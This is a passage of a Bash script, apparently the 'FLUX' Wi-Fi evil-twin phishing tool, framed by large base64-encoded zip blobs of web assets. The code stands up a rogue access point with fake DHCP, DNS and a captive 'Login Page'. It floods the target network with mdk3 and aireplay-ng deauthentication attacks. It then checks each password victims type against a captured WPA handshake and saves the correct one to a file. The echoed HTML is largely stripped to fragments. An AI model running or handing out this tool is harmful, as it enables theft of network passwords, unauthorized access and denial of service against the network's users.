-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 -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
-
-

Login Page

-
- -
- - "$DIALOG_WEB_OK" -
- -
- -
-
-
-
-

-
- -
- -
- -
-
-
- - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
-
-

Login Page

-
- -
- - "$DIALOG_WEB_ERROR" -
- "$DIALOG_WEB_BACK" - -
- -
- -
-
-
-
-

-
- -
- -
- -
-
-
- - - ">$DUMP_PATH/data/error.html - - echo " - - - Login - - - - - - - -
-
-

Login Page

-
- -
-
-
-
- -
ESSID:
- -
$Host_SSID
- -
BSSID:
- -
$Host_MAC
- -
Chan:
- -
$Host_CHAN
- -
- -
- - "$DIALOG_WEB_INFO" -
- -
- - - -
- -
- -
- -
-
-
-
-

-
- -
- -
- -
-
-
- - - ">$DUMP_PATH/data/index.htm - -} -######################################### < INTERFACE WEB > ######################################## - - -mostrarheader && setresolution && setinterface -$HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" ACCESS POINT:\" - echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTS ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 